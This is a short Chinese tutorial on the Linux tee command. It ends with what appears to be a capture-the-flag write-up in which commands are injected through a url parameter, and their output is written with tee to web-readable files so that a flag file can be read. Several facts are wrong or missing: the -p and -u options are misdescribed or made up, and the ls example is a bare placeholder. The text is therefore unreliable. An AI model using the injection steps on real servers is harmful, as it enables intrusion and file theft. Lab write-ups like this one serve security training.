在Linux中,tee是一个命令行工具,用于从标准输入读取数据,并将其复制到一个或多个文件和/或标准输出。它的名称来源于水管中的"tee"连接器,可以将流分成两部分。
tee命令的基本语法如下:
♾️ html 代码:tee [选项] [文件...]
选项:
♾️ html 代码: -a:追加写入文件而不覆盖已有内容。
-i:忽略中断信号(SIGINT),默认情况下,当收到中断信号时,tee会终止运行。
-p:使用原始输出模式,不进行输出缓冲。
-u:不使用缓冲区,直接写入输出文件。
文件:要写入的文件列表。如果未指定文件,则tee会将输入复制到标准输出。
tee命令通常与管道(|)一起使用,允许你在处理数据的同时将其输出到文件,以便后续处理或记录。
例如,以下命令将列出当前目录的文件并将结果保存到文件output.txt:
♾️ html 代码:code here...
tee将ls命令的输出显示在终端上,并将其写入output.txt文件中。
除了将数据写入文件,tee还可以用于在数据处理过程中调试和查看中间结果,或者将输出发送到多个目标,如标准输出和文件。
例如:
♾️ html 代码:1、123123.men:28077/?url=l’s’ / |tee 1.txt #把ls查到的信息写入1.txt
2、https://123123.men:28077/1.txt #访问网站发现/flllll\aaaaaaggggggg
3、url=tac /flllll\aaaaaaggggggg |tee 9.txt #把查到的文件里面的内容写到9.txt
4、https://123123.men:28077/9.txt #访问得到flag